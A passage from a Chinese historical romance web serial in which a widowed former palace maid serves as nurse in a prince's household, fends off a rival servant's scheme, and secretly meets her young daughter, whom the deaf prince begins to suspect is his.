小公子喜欢看她笑,她便笑给他看。 身为奴婢,让主子高兴了,她也能过得舒坦些。 谢砚凛的呼吸突然沉了沉,放在腿上的手握成了拳。他这反应让沈姝有些摸不着头脑,赶紧把笑又收了回去。 正不知所措时,马车停了下来。 谢黯站起来整理发冠,衣衫,转过身规矩地给谢砚凛行了个礼。 “小叔,我去学堂了。”他稚声道。 才五岁,他已经开蒙了?不过她的锦宝儿也厉害,都写得三十多个字了,还能背出四首诗! 沈姝站起来,准备跟着谢黯下马车。她是奶娘,应该是跟着小公子走。 可她刚起身,谢黯的手探过来一把握住她的手腕。 “坐下。”他哑声道。 沈姝怔了一下,随即规规矩矩地应了一声。 马车继续往前走,谢砚凛从一边的箱笼上拿起一本书翻开看,哑声问:“丈夫何人,人在何处?” 沈姝心中一紧,立刻回道:“他叫陈义,是个守城的小兵,已经战死了。” “写。”谢砚凛手掌一翻,手心朝上,盯住了沈姝。 沈姝犹豫了一下,用袖子隔着,托着他的手,食指在他的手心写:陈义,已逝。 她不怕谢黯去查,一是那年打仗城里人的死了一半,二是陈义确有此人。 他是个小兵。城破那日,他身上被刀穿了七个血洞,陈母把他从死人堆里扒出来,驮在背上,一点点地往家里爬。老妇人一头的白发让她一下就想到了死去的娘亲,于是她便毫不犹豫地冲过去,和陈母一起把陈义抬了回去。陈母感激她,收留了她和拢烟,三人就在地窖里躲着,一直躲到仗打完。 出地窖时,她有已经有了孕相,陈母见状,就出了个主意,让她说孩子的生父是陈义,免得这孩子以后被人欺负。不久后,陈母也病逝了,不过帮她留了印信,告诉她,当战乱平息后可用这印信把孩子记入陈家族谱,如此也能给孩子一个好点的身世。 勋贵争天下,百姓倒大霉。 沈姝越写越快,把背陈义回家的人编成是她。她觉得男人应该喜欢看妻子忠贞的戏码,说不定觉得她忠心,以后办差事时不会为难她。 编到最后,她索性还编了两句话……夫妻恩爱,誓要守节。 嗯,这次发挥得真好!回去说给拢烟听,让拢烟下回也这样对外人听,因为拢烟对外的身份也是寡妇,这年头,被骂作寡妇比孩子被骂野种好得多。她可以挨骂,她的宝儿不可以。 谢砚凛眼皮轻轻撩了一下,看向她的手。她的手有些粗糙,落在他的手心,挠得他有些痒。他的视线又落到她弯起的脖子上,那么细,皮肤下的血管都清晰可见。 一种奇怪的感觉涌上谢砚凛的心头,心尖有一点儿酥痒,感觉这只手他在哪里握住过…… “王爷,写完了。”沈姝见他不言语,大胆地抬头看他。 谢砚凛喉结沉了沉,握住拳,不露声色地放回膝上。 沈姝悄悄观察他的反应,只见他似是信了她编的故事,于是松了口气,轻轻地揉起了泛酸的右手。她许久没有写过这么多字了,如今想想,少时宽敞的书房,上好的松烟墨,柔软的宣纸……全像梦一样。 一路无言,马车把她送到了王府角门处。谢砚凛要去宫里,她先回府。角门处有嬷嬷等着,引着她去了谢砚凛和谢黯的主院,又给她交代了一遍王府里的规矩,她抓紧又问了一遍谢黯的喜好。 她有个单独的房间,是院中的一间耳房,就在谢黯的对面,她平常负责谢黯的衣食起居,这房间离谢黯的房间最近。她在院子里走了一圈,熟悉了一下环境,回到了自己的耳房。 “沈娘子,学院里递话回来,小公子晚上要吃萝卜饼。”一名圆脸丫鬟快步过来,就站在门外和她说话。 萝卜饼? 沈姝没想到谢黯是真喜欢吃那个,难道是平常珍馐吃多了,腻了? “王爷这主院有厨房,平常不怎么开火,你如今只管伺候小公子,这厨房就给你用。需要什么东西,就列个单子出来,去大厨房里取来。”丫鬟又道。 “多谢姑娘,敢问姑娘如何称呼?”沈姝行了礼,向她道谢。 “我姓赵,是这院中的管事。沈娘子快些准备吧,小公子就快下学了,他肠胃不好,不能饿。”丫鬟面无表情地盯着她看。 沈姝认真观察了这赵姑娘的衣饰打扮,她的装扮与这主院中的丫鬟都不一样,发髻上绾了一枚碧珠钗,腰上佩的腰牌上刻了个兰字,当下心里便有了猜测——兰字是老夫人所住的兰汀院,所以她是老夫人派来。只是不知她是一直在此管事,还是特地过来考验她的。 无论如何,她今日必须更用心表现。老夫人满意了,她这差事才更稳当。 她问清了大厨房的位置,匆匆赶了过去。按照要求,明儿起小公子的早中晚三餐都由沈姝来做,来之前牙婆就说过,谢府要借民间妇人做惯了粗活的体格,给小公子添福挡灾,所以这饭食她可以按民间百姓的习惯来备好。 见她进来,厨娘们都停下手,好奇地打量她。 第7章 海棠,太监 “你就是那个让绿烟挨了板子的新奶娘。”厨房管事刘昭娘握着磨得锋利的菜刀,上下打量着沈姝。 “刘管事有礼了。”沈姝朝刘昭娘行了个礼。 礼多人不怪,她初来乍到,又刚得罪了王府里的老人,现在更当夹紧尾巴,态度恭敬一些才好。 “哟,这礼可受不起,你是小公子亲自挑选的奶娘。”刘昭娘咧咧嘴,挥起菜刀咚咚地切起菜,那刀剁在砧板上,一声比一声响亮。 众厨娘也都收回了视线,专心做事。 整个厨房里没人说话,大家各干各的,井井有条。沈姝见状,便自己去拿了食材,寻了个空案台忙活。胳膊粗的大萝卜洗干净,削了皮,那雪白的萝卜切成细丝,放进沸水里淖一下。 “你这萝卜切得倒是精细。”刘昭娘不知何时到了她身边,盯着碟子里的萝卜看。 沈姝心中一紧,面上却不改颜色。 她的刀功好,是在宫里面练出来的。 一个民间妇人,怎会有如此精细的刀功。她们就算日夜不歇地为生计操劳,也吃不起几回大萝卜。贵人家吃的这些鲜蔬菜,于百姓来说那都是山珍海味一般的存在。便是地里种了一些菜,自己也舍不得吃,要去卖掉换钱,买回能填饱肚子的粮食和盐巴。 厨娘们都围拢来,看沈姝切的萝卜丝。根根晶莹,如一个模子印出来似的。 沈姝捧起碟子,柔声道:“我也觉得我萝卜切得好。我女儿天生不足,有个赤脚大夫给了我一个方子,就是用这萝卜为药引子,方保了她的性命。为了让她能吃下去,我就每日练习切萝卜,切得跟头发丝一样细,她才咬得断,嚼得动。” “唷,可怜了,多大了?什么病啊?” 厨娘们的注意力果然被她女儿的事吸引过去了,七嘴八舌地问她。 刘昭娘也没阻止厨娘们八卦,竖着耳朵听沈姝回话。 “肺上的毛病。遇风就咳……我也是没法子了,只买得起萝卜。”沈姝苦笑,眼眶泛红,眼泪似是都要掉下来了。 女人哪,只要有了孩子,这孩子就是心肝肉,哪个当娘的不把孩子放在首位? 众厨娘们互相看了看,又安慰起她来。 “你们吵什么呢?小公子要下学了。”赵姑娘冷着脸进来,一顿呵斥:“沈娘子,王府是请你来伺候小公子的,不是让你来摆弄口舌的。” 众厨娘立马散开,埋头干活。 沈姝也连忙埋下头,加快了手里的动作。 剁肉馅,打鸡蛋,裹面粉……放到锅上蒸。 赵姑娘站在一边,盯着沈姝的动作,脸上一点儿表情都没有。沈姝真是服了她,这么盯着人不累吗?要知道沈姝可不怕人盯,再来几个人盯着,甚至故意捣乱,她的手也绝不会乱。 在宫里,稍微做错一点事,那是会打得手断脚断,甚至丢命的。 赵姑娘一直看着她做完菜,这才哼了一声,掉头出去。 “她与绿烟都是家生子。”刘昭娘拿了只食盒过来,突然间小声说了句,似是自言自语,又像是说给沈姝听。 沈姝飞快转头看向刘昭娘,见她已经走开了,看不出是不是在故意提醒她。 沈姝又用南瓜煮了份甜汤,用食盒拎着回小公子的住处。 途中经过一个小园子,白玉桥横在碧蓝的湖水之上,几株海棠花斜斜探出,明艳的花瓣在风里颤微微地抖动。沈府花园也有个小湖,是为了庆贺沈姝出生特地挖的,父亲还给她打造了一只小船,船头用珊瑚和碧玉做了一株栩栩如生的海棠树。 沈姝忍不住停在海棠树下,犹豫着想要摘一枝海棠花。前些年战乱,四处荒芜,她有日子没见着这么好看的海棠了。若是能在房中放一枝花瓣,插一枝海棠花,爹娘和兄长们会不会来梦里见见她? 算了,还是不来的好。她太没用了,从十一岁到现在,她活得像条狼狈的狗,哪有脸见他们。 沈姝轻轻触摸了一下海棠,突然间细密的雨滴砸了下来,毫无预兆地落了沈姝满头。她吓了一跳,连忙把食盒抱进怀里,弓下腰,撒腿就往回跑。 湖心亭子里,谢砚凛撑开一把碧色油纸伞,慢步走了出来。他方才一直在看沈姝,她站在海棠树下,仰头看着海棠的模样,终于有了几分当年沈家千金的娇态。只是这雨一下,她就把娇态收起来了,匆匆忙忙,跑得像只野兔子。 “王爷,查过了,确实有个小兵叫陈义。”卫昭自他身后走出来,递上了一张纸。纸上写着沈姝的来历。 “不过这陈义是个太监。”卫昭又道,他双手放在身前,看着沈姝的背影自言自语:“太监是不可能生孩子的,沈娘子八成是打仗那些日子受了欺负,只能找个便宜爹来掩饰。哎,一个女子,也真不容易。那孩子我去看了,跟个瘦猫儿一样,还别说,长得真好看,眉眼像极了沈娘子。” 谢砚凛耳聋,但卫昭习惯说话,反正他听不见,感叹几句无伤大雅。 “查,四年前。”谢砚凛看完纸上的内容,修长的手指将纸页慢慢叠成一只纸鹤,丢向湖面。 雨水打在纸鹤上,蓦地,那鹤燃起了火苗儿,在湖中打着旋儿,被湖水吞没了。 …… 沈姝抱着食盒回到主院,头发衣裳湿了大半。途中她见雨越发大了,索性脱了外衫把食盒包住,自己只着了里衣,此时衣服浸得透湿,紧紧粘在身上。 “你怎么才回?小公子马上要进府了,快些摆膳!”另一个叫宜儿的婢女走过来,见她浇得狼狈,不悦地催促道:“你这也太脏了,赶紧去弄干净过来伺候小公子。” 沈姝赶紧应声,拿了衣裳就往浴房走去。 温泉水真不错,她遇寒就疼的骨头泡在水里瞬间舒服多了。不过她也不敢多泡,略洗了洗,便赶紧起来。 可出了池子,她拿起那身换洗衣裳刚想换上,突然察觉到不对劲,衣裳抖动间有细细的烟尘飞舞,还带了一些草腥味! 她在宫中当了一年洗衣婢,接触过不知多少阴私事。宫妃争宠,宫婢邀功,在衣裳脂粉里动手脚的事常有发生。她也曾因为摸过那些被动了手脚的衣裳,弄得手脚溃烂…… 没想到她在宫中没被人害过,到了这儿,竟会遇到这种事。 沈姝小心地嗅了嗅上面的气味,衣裳上抹的药粉能让她长满红疹,那结果可想而知,她必会因为得了“怪病”被逐出府去。 沈姝放下衣裳,看向了那堆湿衣。她没有办法找人求助,更无法告状。一来谢砚凛听不到,二来院中婢女同气连枝,不会为她一个外来的出头,再者把她们得罪狠了,报复会来得更猛烈。 可沈姝也不会让自己吃这哑巴亏! 第8章 同寝,幽香 沈姝迅速将湿衣服抖开,用帕子反复摁压,再将衣裳一件一件包裹进殿中垂帘,用力揉捏拧动,把衣上的水分吸干。在宫中时,她们的衣裳来不及干,也会用这种办法。 只要外衫干爽一些就行,至于小衣,湿便湿吧,她这副身子如今也糙起来了,冻一会儿不打紧。 这世间女子当如铁,方能扛事。 沈姝正忙碌着,殿门外响起了脚步声,她心中一动,扭头看向了门口。莫不是,陷害她的人在偷看她? 沈姝猫下腰,缓缓靠近门口。那影子已经映在门上了,她定定神,飞快地拉开! 抬眸定睛,她瞬间愣住。 门口的人是谢砚凛,正弯下腰把一张纸放门槛上放。 “王爷。”沈姝赶紧曲膝行礼。 谢砚凛眸子微撩,直起腰来,将那纸往她面前递。 沈姝连忙双手接过来,只见纸上写着:明日换膳食。 这是来提醒她,不要再给小公子吃萝卜饼了?罢了,主家的要求,她照办就行。 再抬眸时,谢砚凛已经转身往外走了。沈姝叠好纸,换好衣衫,抱着那叠动了手脚的衣服出来。院中婢女们各忙各的,有人悄然抬头看她,又迅速埋下头去。 “沈娘子怎么还没换衣服?”一名婢女端着热茶从她面前过去,打量她一眼,皱起了眉。 “马上就换,滋……头有点疼。”沈姝假装头晕,把衣裳给过去:“姑娘帮我拿一下。” 那婢女皱着眉,一脸不悦,但还是伸出了手,嘴里埋怨道:“你搞什么?府里可不留吃闲饭的。” 沈姝悄然观察着她,见她并未惧碰触碰她手中的衣裳,于是在她接住衣服之前收回了手。 她一连试了好几个,都没反应,就在沈姝准备暂时放弃,明日再查时,只见前面一个婢女撑着伞匆匆往外走去,在出门时,她还扭过头看了沈姝一眼。 沈姝看着她的反应,当下就有了判断,只怕动手的就是这姑娘了。如今匆匆离开,只怕是去向她背后的人报信。 “方才出去的是赵姑娘吧?我有事要请教她,她这是去哪儿。”沈姝故意找身边的一个丫鬟打听。 “那是晴竹!你赶紧准备吧,小公子快回来了。”丫鬟顺着她的视线看去,随口应道。 沈姝道了谢,拿着衣裳直接去了晴竹住的地方。 院中丫鬟的名字都有门道,叫晴竹,晴叶,晴芳的,都住在主院外院的东边厢房。她寻过去,直接把衣裳放到晴竹的床上,再用被子盖好。 给她警示即可,现在还不便撕破脸。 刚从房间出来,只见外面一顶小轿飞快地抬进主院大门。 是小公子进府了。 轿子落地,仆妇们一拥而上,撑伞的,接人的,把谢黯围得密不透风,一点雨水都溅不到他身上。 “小公子万福。”沈姝站在门口,温柔地朝谢黯行礼。 谢黯看到她,立马眼睛一亮:“淑姨,萝卜饼做好了吗?” “做好了。”沈姝柔声道。 谢黯马上朝她伸出手,让她牵。 沈姝牵着他,慢步进了膳堂。桌上摆好了膳食,满满一桌子,谢砚凛已经坐在了桌前,玄衣加身,玉冠束发,白净的手指握着茶盏,低眸饮茶。 谢黯就坐在谢砚凛身边用饭,他面前摆着沈姝做的萝卜饼和南瓜汤。拿起萝卜饼咬了一口,露出了疑惑之色:“为什么和昨天的味道不一样。” 当然是因为昨天的萝卜饼只有很少的肉沫,也没有鸡蛋,用的都是粗糙的食材呀。 沈姝弯下腰来,温柔地说道:“好吃吗?” 谢黯点头:“好吃。” “昨儿的萝卜饼是我家小妹妹吃的,你们身体情况不一样,所以做法就不一样。”沈姝不慌不忙地解释道。 谢黯信了,对着香糯的萝卜饼又咬了一大口,最后把汤也喝光了。围在一边伺候的丫鬟们都露出了惊讶之色,谢黯平常挑食,有好一阵子没好好吃饭了。谢砚凛也放下了筷子,看着谢黯吃饭。 沈姝看着谢砚凛的样子,琢磨着自己应该是让他满意了吧?沈姝你可真厉害,相信用不了几日,一大一小都能被你的厨艺折服!你就能在王府稳稳地站住! “我去温书。”谢黯吃满足了,从椅子上溜下来,双手伸向沈姝 沈姝赶紧抱起了谢黯。小家伙把头靠在沈姝的肩窝里,双手搂住了她的脖子,十分依赖地哼了一声,模样像只小狗儿。 沈姝心软软的,手在他的背上轻轻拍了一下。 才五岁呢,正是找娘亲撒娇的年纪。 抱着谢黯出门时,只见晴竹抓着那团衣裳,一脸恼怒地从主院大门进来,沈姝看到她,特地停下了脚步,温柔地朝她笑了笑。 “晴竹姑娘,这是去哪儿?”她柔声道。 晴竹举起了手中的衣裳,嘴张了张,脸越涨越红,但却没敢真的和沈姝理论。而她那张原本还算白皙的脸,现在已经开始冒出红疹…… “晴竹姑娘,雨停了呢,正好洗衣裳去。”沈姝又朝晴竹笑了笑,这才抱着谢黯朝书房走去。 她能在宫里挣扎出一条生路,怎会怕王府这些婢女的小手段?她经历过的那些事,若是说出来,只怕这些丫头要被吓尿! 谢黯温了小半个时辰的书便开始打瞌睡。才五岁的孩子,要早早起来练武,上一天的学,晚上还要温书,早就累坏了。 她把谢黯放到柔软的床上,剪暗灯火,坐到床边的脚踏上守着他。 外面又开始下雨了,淅淅沥沥地落个不停。沈姝有些担心锦宝儿,这么湿冷的天,她会不会咳嗽? 吱嘎一声,门推开了。她抬眸看去,谢砚凛换了身寝衣走进来了,那衣衫单薄,风一吹就贴在他的身上,修长的身形在衫下若隐若现。宽肩窄腰,胸膛结实,是副好身材。 沈姝只看了一眼就垂下了眸子,侧身让到了一边。他许是进来看小公子的,看一眼就会走。 那道修长的身影从她面前过去,下一瞬,竟直接脱了靴,直接躺在了床上。 沈姝:…… 他干吗呢?他睡这儿?他自己的房间啊! 之前嬷嬷交代过,晚上她得守着谢黯!可现在她怎么守?谢砚凛也在,她也要看着他睡觉? “王爷睡这儿?”她壮着胆子小声问他。 床上那男人合着眼睛睡得自在。 他聋的!沈姝皱皱眉,有些不悦地坐回脚踏上。 这样她可要收两份月例了呢!她是做谢黯的奶娘,又不是做他谢砚凛的奶娘! 此时轰隆隆一声炸雷惊响。 沈姝立马站起来,弯过身子探进去看谢黯。果然小孩子惊到了,睁大了眼睛,茫然无措地看着她。 沈姝伸出手,轻轻地拍打他的肩:“睡吧,睡吧。” 她的袖子拂过谢砚凛的脸颊,一点淡香逸入他的鼻中,长睫扇动,眸子飞快地睁开。 这香气…… 他在哪里闻到过? 第9章 规矩,生养 与四年前那女子身上的香气十分相似! 想着那女子,谢砚凛不禁沉下了脸。 那女子胆大包天,敢骑他腰,剥他衣,腰软轻摆,让他全线溃败……谢砚凛微侧过了头,看着那小半截雪色皓腕,鼻子轻轻抽了抽。 像!真像! 难道是沈姝?这怎么可能?做留种娘子的首要条件必须是生养过男丁,身子骨结实,这样才能保证女子能生,而那晚榻上并未见到红色,说明那小娘子并非初次。沈姝那时才几岁?况且又一直在宫中,不可能生养过。 这时一直悬于他头上的手腕撤了回去,他垂下眸子装睡,只见沈姝将烛火剪得更暗了些,坐回了脚踏上,双手环在臂上,轻轻地搓着胳膊。湿衣被体温烘得干不干,风一吹,便觉得有些冷。 “阿嚏……”她忍不住轻轻地打了声喷嚏。 谢砚凛收回视线,哑声道:“出去。” “是。”沈姝站起来,朝着他行了个礼,双手搭在身前,弯着腰往门口退。 宫中为婢多年,她这些规矩做得滴水不漏。可谢砚凛看着她这副模样,竟莫名觉得有些不痛快,情不自禁地想起当年那个躲在屏风后面探头看他的少女,拿着玉竹摇扇,稚气未脱,明俏灵动…… “小叔,我能让淑姨陪我睡吗?”谢黯醒了,他在谢砚凛的背后拱了拱,低喃道。 谢砚凛翻了个身,看着眼前与大哥十分肖似的孩子,抬起手,学着沈姝的姿势,在他的背上轻拍。 “不能。”他哑声道。 谢黯很快又睡着了,雨打屋檐声扰得谢砚凛无法入眠,他索性起来,到门外看雨。 对面的耳房中透着灯火,沈姝的影子在窗子上映着,起手落针,在缝东西。 这时卫昭匆匆从暗处走出来,抱拳行礼,“王爷。” “有下落?”谢砚凛收回脚步,转身看向卫昭。 声音低哑,缓慢,若不是卫昭站得近,根本听不见。 卫昭摇头,递上一张纸,嘴里低声道:“还没有消息。不过听说有一个她的同乡,曾经见到她在南浔县城出现过。据说身边还跟着一个女子和一个小孩。” 谢砚凛看着纸上的内容,眉头微拧:“女孩?” 卫昭又摇头,拿着墨盒写字给他看。 “并未看清容貌,探子正在追踪他们的踪迹。” 谢砚凛把纸撕碎,拿出火折子点着,丢到地上。抬脚,从火焰上跨过去,朝着书房走去。 城破那晚,他奇迹般地苏醒了。大夫说,那女子喂给他的那枚情药里恰好有一味药材,对了他的症状,误打误撞让他清醒过来了。可惜那晚叛军烧了整条街,他的宅子也毁于火中,操办那件事的孙嬷嬷和女子也在战乱中走散,不知所踪。 他如今余毒仍在,找到那女子,便可以找到情药的来历,说不定可以解了余毒。 还有……他的腰,哪能任人骑的? 骑完了,把他掀开就跑,简直就是他当成了一匹马! 他是马吗?他是谢砚凛! …… 一夜大雨。 院中的树木花草被冲洗得如同新长出来的,碧油油的,看着就让人欣喜。 沈姝拿着昨晚缝好的小老虎食盒包进了谢黯的房间。 早膳她已经烧好了,做了云吞,放了小磨香油,香喷喷的,在雨水浸湿的空气里肆意飘散。 谢黯已经自己穿好了衣服,一改昨日见她就索要抱抱的娇气样子,向她点点头,自己往门外走。 “做了食盒包,带些点心,在学堂饿的时候吃。”沈姝把小老虎包交给跟着他的侍卫。 谢黯看到小老虎包,眼睛一亮,立刻接过来,捧在手心里细细地抚挲。 “多谢淑姨。”他小声道。 “走吧,用早膳了。”沈姝牵起他的手往外走。 做老虎包一是示好谢砚凛 沈姝觉得自己既拿了这份钱,就得让谢黯舒心一些。哪怕只是用她来挡灾消厄,她也得把份内事做好。 谢黯此时明显心情好得很,用早膳时,那只小包被他紧紧抱在怀里,只用一只手拿勺子吃云吞。 好大一碗云吞,他一口一个,吃得很认真。 沈姝发现这孩子和锦宝儿一样有个特点,吃饭认真。不过锦宝儿话多,吃饭的时候总会念叨:宝儿要吃光光,宝儿长壮壮…… 不像谢黯,食不言寝不语,极讲规矩。 锦宝儿享受自由,但她有个穷娘亲。谢黯享有富贵,但他一言一行皆不能给他爹娘丢脸。沈姝一时间竟不知道哪个孩子更幸运一些…… 转念想想锦宝儿跟着她过的苦日子,她很快就有了答案,那还是谢黯幸运。锦宝儿没有这么香的云吞吃,她的宝儿昨晚睡在小小的屋子里,不知道有没有被雷雨吓到,有没有用她的小手捂着耳朵,一声声安慰她自己:锦宝儿不怕,锦宝儿壮壮的…… 她哪里壮壮的?明明瘦得跟小猫儿一样。 她目送谢黯跟着侍卫出了院子,去学堂,一颗心已经飞回了那个破烂小院子里。 哎,好想宝儿啊!想把昨晚省下来的萝卜肉饼给她送回去,那可是真正的肉饼,放了好多的肉沫,还有鸡蛋! “王爷,我想亲自去采买一点食材给小公子做晚膳。”她打定主意,立刻赶去了谢砚凛的书房。听侍卫说他今日休沐,会在府上连呆三日。说不定会出意她出一趟府,她抓紧跑回去,送了饼再抓紧回来,不误事。 她站在门外禀告了采买的事,没一会儿卫昭走出来了,朝她摇头。 “王爷不准。府中采买皆有专人,沈娘子可以把要买的东西写下来,交给他们去办。” 沈姝一阵失望,却又无可奈何。拿人钱,听人话,她能怎么办呢? 这时天上飞起了一只风筝,摇摇晃晃的,被风卷得乱滚,那风筝线早断了,垂在半空。 沈姝看清风筝的模样,再顾不上谢砚凛,撒腿就往房间跑,没一会儿又跑出来,一溜烟地往门外冲去。那是宝儿的风筝,她就在附近! “这是干啥去?”卫昭看呆了,本想问个清楚,只听得房间里传来谢砚凛轻叩桌面的声音,只好进去回话。 第10章 爬墙,相见 角门锁紧了,有人值守,无令牌不得出入。有赵姑娘从中作梗,沈姝不想去角门触霉头,丢了这挣钱的差事,于是寻了个隐僻的角落,把裙摆往腰带一塞,抱着一棵玉兰树就往上爬。 放在四年前,她可不敢想像自己会像猴子一样爬树。这全是战乱时逃命练出来的!那时她肚子已经七个月大了,叛军半夜血洗了她和拢烟落脚的小村落,拢烟跛着脚,她大着肚子,根本没法子逃。 急得团团转时,她们看到了村口一株遮天蔽日的大树,拢烟一咬牙,做了人肉凳子,让沈姝踩着她的肩膀爬上去,沈姝站稳后,再用衣服把自己捆在树枝上,把拢烟拉上来。 她们两个一段树枝,一段树枝地往上爬。 一直爬到高处,爬到底下的人看不到的位置才停下。 待天亮时,叛军走了,她们下来。 就在树下,她早产了…… 生孩子竟然那么疼,她还不敢喊,咬着一截烂袖子,拼命地抓身边的草根。好在锦宝儿心疼她,没让她痛太久,很快就从肚里出来了。 后来她和拢烟就开始练习爬树、游水,如今比猴子爬得还好,比鱼还游得快。逃命嘛,水路陆路都得擅长。她甚至还靠教妇人游水挣过几十文钱! 往事艰难,如今想想,竟也轻飘飘地过去了。可见只要活着,便能看到亮堂堂的太阳! 沈姝轻车熟路地攀到高处,往外一瞧,高墙外果然有一大一小两道熟悉的身影。 拢烟拖着一架旧板车,板车上放着灯笼,她赶早市去卖灯笼了,返程时特地带锦宝儿来这里碰运气。锦宝儿在板车上坐着,梳着两只小辫,戴着一朵半旧的头花,手里捧着沈姝亲手烧制的小琉璃灯,仰着小脑袋往高墙这边张望。 拢烟拖着板车到了高墙下,压低声音问她:“你在里面还好吧?有没有受欺负?” 沈姝笑了起来,怎么搞得像探大牢一样!她从从怀里掏出用油纸包包得严实的萝卜肉饼,轻轻地丢过去。 拢烟腿虽跛,但手却灵活,准准地接住了饼,欣喜道:“唷,肉饼子,宝儿今日有口福了。” 锦宝儿仰着小脸,眨巴着圆圆的眼睛看沈姝:“那娘亲吃饱了吗?宝儿壮壮的,不吃、不吃,娘亲吃。” “吃饱了,给宝儿的。”沈姝手拢在嘴边,温柔地朝锦宝儿笑。 锦宝儿吸吸小鼻子,显然被这香气给吸引住了,她眨巴着眼睛,好奇地看向那只油纸包。 “温一下再吃,别凉着胃了。”拢烟从板车后面拿出小陶炉,用铁勾子拔几下,里面便窜出火苗。她把小锅放上去,萝卜饼炕在锅上,没一会儿就冒出了热气。 宝儿不时看看饼,又看看沈姝,小脸儿笑眯眯的。 “娘亲好厉害,会挣大肉饼。” 沈姝想到谢黯早上吃的那一碗放了香油的云吞,忍不住又把手拢在嘴边,轻声道:“娘亲还能挣更多好吃的给宝儿,等娘亲回去给你做云吞。” 锦宝儿用力点着小脑袋,又举起小拳头:“宝儿吃多多的,长壮壮的,帮娘亲干活。” 长壮壮的就不会生意,娘亲就不会那么辛苦了。她就不用冬天去给人家洗衣裳,一双手冻得全是冻疮,秋天去山上挖草药,摔得头破血流。 锦宝儿最大的心愿就是长壮壮的,不生病。 她从板车上爬起来,站在中间练拳脚。她挥起细胳膊,又踢起腿,仰起小脸,骄傲地演示给沈姝看。这是她新学的!隔壁刘奶奶说了,每天打三遍,她就能长壮长高长漂亮。 “宝儿真厉害。”沈姝笑弯了眼睛。 “你在干什么!”突然,赵姑娘冷冷的呵斥从墙下传来。 沈姝吓了一跳,连忙扭头看去。只见赵姑娘带了几个仆妇站在她身后,正虎视眈眈地盯着她看。 又是赵姑娘!看来赵姑娘不把她赶出府去是不会罢休了。 可沈姝既来了便不会轻易离开。 她朝赵姑娘笑笑,不慌不忙地摘了起了玉兰花,“我摘些玉兰花,晚上给小公子做玉兰羹,膳食已经问过府医,是可行的。” “满嘴谎言!我分明看到你往外面丢了东西!你们去外面,务必把贼抓回来!”赵姑娘冷笑,上前去用力踹了一下玉兰树。 大树呼啦啦地摇晃起来,枝叶抖动,花瓣乱飞。 沈姝扶着树枝,悄然朝着墙外打了个手势,然后稳稳地坐下来,居高临下地看着赵姑娘。 同为府中婢,何必互相为难?如此咄咄逼人,不就是仗着她是老夫人院里的,而沈姝没有依仗,不敢把事闹大! 等到树不摇了,沈姝这才往墙外看了一眼,拢烟拖着板车飞快地跑进了人群,锦宝儿坐在车上,仰着小脑袋,笑眯眯地朝她用力挥手。 很好,她们已经走了,仆妇们扑了个空。 这些年逃难磨合出来的默契,那可不是吹的。只要她一个手势,拢烟就知道该干什么。宝儿也聪明,从不会出乱子,更不会乱叫。 三人配合天衣无缝,活该她们三个在连天的战火里成功活下来,还能越活越好! “看什么?你的窃贼同伴逃不掉的。”赵姑娘又是一脚踹在树上,怒斥道:“还不赶紧下来!” 沈姝抓住机会折了根玉兰枝,一跃而下。 赵姑娘根本没想到她敢跳下来,吓得连忙后退,沈姝落地时挥起玉兰枝,朝着赵姑娘的脑袋抽了过去。 把她抽清醒一些,别再成天玩这些不入流的手段。放在宫里面,就这些蠢手段,她早不知被剥了几层皮了。 “啊!你疯了吗,你敢打我!”赵姑娘捂着脑袋,一边躲一边大骂。 “对不住啊,我是不小心碰着你了。”沈姝握着那枝开满玉兰花的树枝,一脸关切地说道:“你别躲,有几只蜂子落在你发上了,我帮你拿下来。” “什么蜂子!你滚开啊。”赵姑娘恼火地挥着手,想挡开沈姝伸来的玉兰枝。 “哎呀,虫子。”沈姝把花枝往她面前递。 在玉兰枝上头,赫然有一条褐色大毛虫…… “啊!”赵姑娘惊得花容失色,险些跌坐在地上。 “你、你拿开!”她惨白着一张脸,怒声咆哮。 “一条虫子而已。”沈姝捏起虫往赵姑娘面前递,一脸关切地说道:“瞧瞧,它不咬人。” “果然寡妇难缠!活该你是寡妇!”赵姑娘再也受不了了,转身就跑。 沈姝丢掉虫子,冲着她的背影大声说道:“我丈夫是守城兵,他是战死的,还请赵姑娘莫要在随意栽赃我!我的衣裳也别再碰,不然我去击鼓鸣冤,你就得向我磕头赔罪。” 新朝初立时,皇帝下旨要善待战死将士的家眷,若有人欺辱家眷,那是要问罪挨板子的。 赵姑娘的衣裙翻飞,越跑越快。 就这?怎么敢跑到她面前来使坏的。她也不想树敌,可若不还击,这些人会变本加厉,直到把她赶出府去。 …… 王府对面的路上,谢砚凛神情肃然地看着探出墙头的玉兰枝。 黄玉兰比别的种类要高大,这棵树高达五丈!沈姝就这样水灵灵地爬上去了?! “王爷,您瞧那儿!沈娘子的小闺女,锦宝儿。”卫昭轻轻拍了谢砚凛的胳膊,示意他往前看。 拢烟拖着板车正往他这边走,锦宝儿坐在车上,手里捧着一只饼在吃,圆溜溜的大眼睛眨巴着,歪着小脑袋朝谢砚凛看。 好一个乖巧漂亮的小姑娘! 谢砚凛的视线一下子就挪不动了。 这简直就是一个小沈姝,眉眼像了有八九成,小巧的鼻头右侧卧着一枚小小的红痣。 而谢砚凛的鼻头右侧也有一枚红痣! 他幽暗的眼眸瞬间睁大! 等一下!天下竟有这么巧的事?! 第11章 嘴甜、红痣 “王爷。”拢烟看清拦路的是谢砚凛,连忙行礼。 谢砚凛从她身边绕过去,径直站到了锦宝儿面前,认认真真地看她的脸。 锦宝儿大口吃着饼,小腮帮子一鼓一鼓,仰着小脑袋看谢砚凛。 眼前这个男人很好看,高高的,壮壮的,如果他是娘亲的儿子,肯定能帮娘亲干很多活! “大人好。”她用小手帕擦擦嘴巴,站起来,拉着小裙子行礼,笑眯眯地和谢砚凛打招呼。 姑姑教过她的,遇到穿得很贵气的男人就叫大人,很贵气的女人就叫夫人小姐,她全都记着呢。 谢砚凛低下身子,更认真地看锦宝儿,哑声问:“你几岁?” “三岁半。”锦宝儿立起三根手指,奶声奶气地说道:“大人可以让让路吗,姑姑要带宝儿过去。” 三岁半,时间对不太上。十月怀胎,若是他的血脉,应该再小几个月份。 难道真的只是巧合?是沈姝和他有缘,所以生了一个和他有几分像的孩子? “小沈姝,你怎么区别对待呢。”卫昭咧嘴笑了。他去沈家偷看的时候,小家伙也发现了他,可没向他笑,也没有行礼,还冲他呲牙了,小猫儿一样炸毛。 锦宝儿听到他叫娘亲的名字,歪了歪小脑袋,似是才认出卫昭。 “啊,是趴在墙上的大叔。”她软呼呼地说道:“你不要趴墙上,那样不对,娘亲修墙很累的,不能弄坏院墙。” 谢砚凛看着这动作,眸色骤然一沉。 